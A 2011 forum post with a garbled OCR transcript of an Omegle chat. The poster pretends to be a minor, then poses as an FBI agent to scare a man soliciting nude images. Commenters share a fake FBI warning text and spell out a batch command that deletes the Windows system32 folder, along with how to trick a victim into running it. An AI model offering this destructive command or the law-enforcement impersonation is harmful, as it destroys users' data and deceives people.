Trolling Pedos on Omegle OC :D. Thank you guys so much for all the nice comments. I can not possibly reply to all of them, but I will thumb all of them Holy Cra
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Trolling Pedos on Omegle OC :D

Trolling Pedos on Omegle OC :D. Thank you guys so much for all the nice comments. I can not possibly reply to all of them, but I will thumb all of them Holy Cra

Thank you guys so much for all the nice comments. I can not possibly reply to all of them, but I will thumb all of them
Holy Crap! FRONT PAGE! Thank you guys so much! I love you all ♥
My 100% OC Troll
I got the idea from here: /channel/4chan/Omegle+Troll+idea/gLbuDtY/

Ital, omegle Talk to stranger's
Tau' re chatting with a random stranger an Omega!
You: hi
Stranger: m here
You: f here
Stranger: age?
You: 1 5
Stranger: 18
You: met
Tau: whats up?
Stranger: playing with my Dick. him
Tau: playing with my tits
Strange r: run your hands over them slowly
You: mam yea baby
You: whats name babe?
Stranger: mes
Stranger: you?
You: Linda it
Strange r: Mam thats sexy
You: yea baby i)
You: interested in pics?
Stranger: yesd
You: nudes?
Strange r: if you we
You: i dent mind honey i) its is LI want that matters i)
You: if"
Stranger: send them i)
You: haha i)
You: whats email babe?
Strange r: -
You: one sea babe i)
You: Hello James‘ my name is Eric Volstead, I' m mm the
federal bureau of investigation, and you are currently under arrest
fer attempt to claim child pornography mm a minor. We have your
address and and there is no paint in disconnecting. If
you preceed to disconnect we will have to send a local police
Officer's pick you up mm your residence and hold you in a cell
until we gellert you . However, if you do not
disconnect, you will be given a second chance.
You: We currently have a hold of yougotmail address and
profile James, will you with us?
Stranger: yes
Tau: Please state you full name
Stranger: James i
You: what is your date of birth?
Stranger: 3 5 33
You: Where is residential address?
Stranger: may I ask why?
You: So that we may contact you if you choose ta disconnect
Stranger: what if this is a scam?
You: Fair enough, your address is not needed, we already have
your LEI
Stranger: at am I in trauma?
Tau: That depends James
Stranger: on?
You: your ration to our questions
Stranger:
You: Why did you ask fer demographic images mm a minor
James?
Stranger: mast people on this amt whe they claim to he and when
ppl ask fer the e mail leave anyway.
You: That still does not answer my question, if you would like to
avoid incarceration, please prepa answer our questions
You: I will ask you again:
You: Why did you ask fer demographic images mm a minor
James?
Stranger: she offered and I said if she wanted to. it was a mistake :
I I swear
You: That is true, however, you knew that she is a minor, you
should have refused her effer James
Stranger: I know, I understand that now. so sorry
You: You sound sincerely regretful
Stranger: I am I swear
You: Okay James, I will let you oft with a warning, if you feller
these steps:
Stranger:
You: Please wait one minute James, I need to speak to my
supervising officer.
You: Okay James, feller these instructions
You: We are doing this to delete the FBI trackers implanted ant your
PE do you understand?
Stranger: yes
You: Lappen Notepad
Stranger:
You: 2. Type in: (toucho oft
Stranger: done
You: next, skip one line in the same document
Stranger:
Stranger:
Tau: 4. save the file as: FBI. bat
Stranger:
You: 5. Afternon have saved the file, close it
Strange r: its closed
You: Now open that same file
Stranger:
You: whats happened now James?
Stranger: nothing
Tau: that means it hasn' t werked
You: you will need to do this manually then
Stranger: what should have happened?
You: it should have deleted the FBI tracker, and we waould have
recieved a notification mm
You: what type of ocmputer do you have James?
Stranger: on my sma rtp hone
You: There is no way ta delete the FBI tracker on your sma rtp hone,
we will need to come in persin
You: I will dispatch several FBI officers to your location
You: They will be there in 2 hours
Stranger:
You: Who is at your heme rig ht now?
Stranger: nobody
You: Where are your parents?
Stranger: work
You: We will call your parents to notify them of the situation
Your partner has .
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#259 - piketchup (12/30/2011) [-]
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User avatar #343 to #313 - majorfaget (12/30/2011) [-]
damn look that Inu Yasha poster
#353 to #343 - baconisbacon (12/30/2011) [-]
are you kidding me you don't see the napoleon dynamite poster?
User avatar #295 to #259 - yankadoodleshit (12/30/2011) [-]
Wow. Lucky bastard.
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#329 to #259 - andrewtheclark **User deleted account** has deleted their comment [-]
#307 to #259 - aidsburgers (12/30/2011) [-]
Btw do you have a source of this? It'd be great to know, also I've just spent around 30mins staring at this.
User avatar #349 to #307 - dylanweber (12/30/2011) [-]
It's a commercial saying "stop flashing your junk online, retard." that was payed for by some government council.
#302 to #259 - aidsburgers (12/30/2011) [-]
Incest is wincest no?
User avatar #267 to #262 - piketchup (12/30/2011) [-]
finally had a use for it, took the opportunity
#316 - silverlance (12/30/2011) [-]
I cannot believe he fell for this...
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#25 - derpalots has deleted their comment [-]
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User avatar #79 to #25 - nge (12/30/2011) [-]
I wasn't born in the same year but march 5 aswell
User avatar #83 to #79 - potterfan (12/30/2011) [-]
i too was born on march 5 ...
User avatar #132 to #83 - stealthybutscratch (12/30/2011) [-]
smea here you guys
User avatar #140 to #132 - stealthybutscratch (12/30/2011) [-]
sorry, *same. i have dyslexia
#49 to #25 - snickerz (12/30/2011) [-]
Hello, James. It is nice to speak to you again.
User avatar #138 to #49 - yayitzmatt (12/30/2011) [-]
I've seen that before, would you happen to have a link?
#139 to #138 - yayitzmatt (12/30/2011) [-]
nvm found it by googling "backtracing guy rages cyber police"    
   
Yay key words.
nvm found it by googling "backtracing guy rages cyber police"

Yay key words.
#26 to #25 - anon (12/30/2011) [-]
Is that you James??????
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#94 - thegreatmrd (12/30/2011) [-]
and u didnt even give credit to 4chan...
User avatar #99 to #94 - zeezj (12/30/2011) [-]
because 4chan isn't a person ********
#102 to #99 - thegreatmrd (12/30/2011) [-]
i cant give credit to the actual person can i? ever been on 4chan?

if he didnt put the system 32 thing in the omegle chat and didnt use the fbi copypasta then i wouldn't of minded.
User avatar #104 to #102 - zeezj (12/30/2011) [-]
dude it is impossible to give credit to a website that millions of people frequent every day. if you don't know the source than who cares, let people enjoy it.
#133 to #102 - anon (12/30/2011) [-]
Wouldn't have! It's wouldn't have! Not "wouldn't of". Goddammit you ******* people piss me off with that **** .
#105 to #102 - anon (12/30/2011) [-]
"100% OC"

Ideas have to be original too.
User avatar #101 to #94 - wattabattabingbang (12/30/2011) [-]
I wanted to, I really did, but I couldn't find the post that gave me the idea, if you can link me the post, I would appreciate it :D and would give the post credit in my description.
#103 to #101 - thegreatmrd (12/30/2011) [-]
4chan **** isnt kept like funnyjunk it dissapears every 30 mins or so.
anyway i was doing that to. its pretty funny :)
#117 to #103 - anon (12/30/2011) [-]
if the thread was archived you can access it. Its on a third party website though.

#310 - dirtyharold (12/30/2011) [-]
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#306 - waywayjew (12/30/2011) [-]
****		 just got real.
**** just got real.
User avatar #304 - lokiwins (12/30/2011) [-]
I would have bailed and shut down my computer for eternity. He handled that more maturely then me.
#289 - slappyhours (12/30/2011) [-]
Am I the only one that thinks the other guy is just playing along, I mean, he claims to have opened system 32 and created the file, then claims to be on a smartphone, one of them is obviously a lie.
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#106 to #75 - anon (12/30/2011) [-]
I don't know if someone from omegle would report you. But the guy who was asking for cp sure wouldn't lol
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User avatar #286 - tehlulzbringer (12/30/2011) [-]
Someone did this to me as well. When he revealed that he was an FBI agent and asked for my address, I told him I lived in unclaimed territory in Antarctica. Bitch disconnected.
User avatar #212 - coonmix (12/30/2011) [-]
Your IP address has been logged by the Child Internet Service Protection Agency. 
Please wait while memory ref code "851255151" is entered into our database. 

NOTICE TO CHATTER: The Federal Bureau of Investigation has logged a record of this chat 
along with the IP addresses of the participants due to potential violation of U.S. law. 
If you think this chat session was logged in error, please call your local F.B.I. office 
and quote the reference number #2334531343. 

VIOLATION: Solicitation of a minor. 

IMPORTANT WARNING: If you think this chat was logged in error, please state your reasons 
to the F.B.I. agent currently monitoring this chat and quote reference #2374581649. Failure 
to do so in the net 48 hours will result in immediate legal action.

A little one of my favorite copypastas.
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#220 to #212 - SuperGuest (12/30/2011) [-]
This......is prefect.
User avatar #215 to #212 - beardedclam (12/30/2011) [-]
ive used this one 4 times and every time i use it, the guys flip out and start apologizing and begging me not to tell anyone. I LOL so hard
#107 - philosoraptorsson (12/30/2011) [-]
Troll to the MAX!
#1 - oltzuu (12/29/2011) [-]
User avatar #315 - xdecipherzz (12/30/2011) [-]
This was on a 4chan thread 2 nights ago. You act as a flirty 15 year old girl. Then ask them for their name (to write on your body) and their e-mail (to send nudes to). Then you cross those two together, find their Facebook, then do the FBI thing.

And for maximum trolling, do the notepad thing.
User avatar #335 to #315 - rattman (12/30/2011) [-]
what did the notepad thing mean?
User avatar #338 to #335 - xdecipherzz (12/30/2011) [-]
On notepad, you have them type:

@echo off

del c:\WINDOWS\system32

Save as anything.bat
Open it.
It deletes their system 32 file which pretty much breaks your entire computer

#348 to #338 - anon (12/30/2011) [-]
If anyone on this planet is ******* retarded enough to fall for that, which they typed themselves, they are clearly not dangerous enough to prey on children.

**** me, children would prey on them.
User avatar #340 to #338 - rattman (12/30/2011) [-]
you have just ruined many computers ;)
#342 to #335 - bdub (12/30/2011) [-]
It shatters your windows if you know what i mean...
User avatar #339 to #335 - afuckinmazing (12/30/2011) [-]
A trick to make them delete System 32.
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#174 - sirpsychosexy (12/30/2011) [-]
his face
his face
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